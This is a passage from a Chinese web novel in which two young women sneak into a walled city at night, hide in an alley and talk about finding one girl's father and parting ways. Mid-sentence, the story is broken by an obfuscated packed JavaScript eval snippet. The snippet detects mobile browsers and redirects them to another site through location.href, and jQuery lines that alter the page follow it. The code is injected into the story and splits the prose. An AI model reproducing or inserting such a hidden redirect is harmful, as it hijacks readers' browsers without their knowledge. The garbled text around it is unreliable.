但很快,人就跑远了,看方向倒像是她们先前去过的那处城墙。 颜姝心中有了些猜测,不由侧过头看向身边的季舟。 果然听她说道:“好了,差不多是时候了。” 话音落下,不等颜姝开口再问些什么,就感觉自己被人一把背了起来。她小小的惊呼一声,又怕被人听见,声音刚出口又被她自己捂了回去。 再然后发生的一切在颜姝看来就相当匪夷所思了——深沉的黑暗中,她看不见城墙上的变异爬山虎,只感觉季舟背着自己忽然就爬上了府城那高达数丈的笔直城墙。前后不过十数息的功夫,等她在城墙上站定时,整个人都是懵的。 完成了使命的变异爬山虎悄无声息枯萎了。枯败的藤蔓脱离了城墙,掉回地面成为一团不起眼的枯藤,也带走了最后的证据。 季舟顺手收集了新的种子,牵着颜姝转身融入黑暗:“走,进城了。” …… 禹州府城是有宵禁的,如今形势严峻,宵禁只会更严。 季舟耳聪目明,带着颜姝躲过了第三拨巡逻的衙役,终于还是选择了放弃:“算了,咱们还是找个地方落脚吧,等天亮再去寻人还更容易些。” 颜姝对此没什么意见,虽然她爹离开前告诉过她落脚的客栈,但她毕竟没有来过府城,哪里知道她爹说的多福客栈在哪里?大晚上的还得防着被衙役抓,不如等明天天亮才好找人问路。等找到她爹,她也就找到主心骨,能彻底放下心了。 想着想着,颜姝又不免侧头看向身边人,心中忽然多了惆怅——费尽千辛万苦,终于到了府城,找到她爹当然是件好事,可这是不是也意味着她们即将分别了? 季舟感知敏锐,很快察觉到了颜姝的目光,回过头来问了一句:“怎么了?” 颜姝赶紧收回目光,心跳不知怎的乱了一拍,当即胡乱摇了摇头:“没什么,走吧。” 季舟见状也就没多问,领着颜姝在街巷里转了半天,终于在个不起眼的巷尾找到一堆杂物。东西还挺多,两个人躲在后面,便是巡街的衙役走到近前也看不见的。 两人躲了进去,季舟查看了一下环境,低声说道:“灰有点重,但咱俩荒郊野外也睡过,倒不妨事。今晚就在这里躲一躲,等天亮了再出去。” 颜姝走过了逃荒路,确实也没那么矫情,低低应了一声就找了个地方坐下了。 两人才刚安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17379329|200066||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顿好,远处就传来了一阵梆子铜锣声,听着十分有规律。 季舟不知道这动静意味着什么,只觉得半夜敲锣简直扰民。她皱了皱眉,忍不住嘟哝了一句:“这大半夜的,怎么还有人敲锣扰人清梦啊?” 颜姝听到这话却十分诧异的看了她一眼,然后才解释道:“这是更夫在打更。三更鸣锣,平安无事,现下应该是三更天了,夜已过半。” 季舟出生在末世,连末世前的许多事都不理解,这古代的打更她就更不清楚了。平白闹了回笑话,好在她也不在意,顺着这话接道:“那时间还挺早,还能再睡一觉。” 颜姝轻轻应了一声,身后靠着墙,却是睡不着的。 一来白天刚睡了一天,夜里还很精神。二来她现在满腹心事,也确实无心睡眠。 过了一会儿,就听她小声问道:“季舟,你睡着了吗?” 季舟倒是睡着了,在末世她早就养成了随时养精蓄锐的本事,但与此同时她的睡眠又很浅,一点风吹草动都能将她惊醒。因此颜姝开口的声音虽轻,她也听到了,含糊的回了一句:“嗯?” 颜姝只当她还醒着,抱膝坐在墙角下沉默了会儿,终于小声问道:“你说,明天我能找到我爹吗?” 这季舟哪里知道?但她显然还有点情商,因此回道:“自然,你爹不是在多福客栈吗?咱们天亮就找人打听,肯定能找到的。” 颜姝听她这样说,心里顿时安稳几分,又问:“那你呢?明天就要分开了吗?” 季舟原本闭眼靠在墙边,有一句没一句的应着,听到这话心里也不免生出了几分惆怅来——末世人心叵测,她父母就是被亲近的人害死的,因此她一直不敢与人深交。现在好不容易来到了个还算和平的世界,颜姝是她遇见的第一个人,也算是她第一个朋友,就这样分开确实有些不舍。 她咬了下唇,咽下多余的话,轻笑着回道:“不是说好一起去尝天香楼的八宝鸭吗?我带了钱的,可以请你吃,再带上你爹也行。” 她还有一块金子,应该够买一只鸭子吧? 季舟正忍着满心惆怅,肩膀上忽然靠过来一个人,颜姝抱着她手臂轻声说道:“吃完八宝鸭就分道扬镳吗?可我有些舍不得你了。”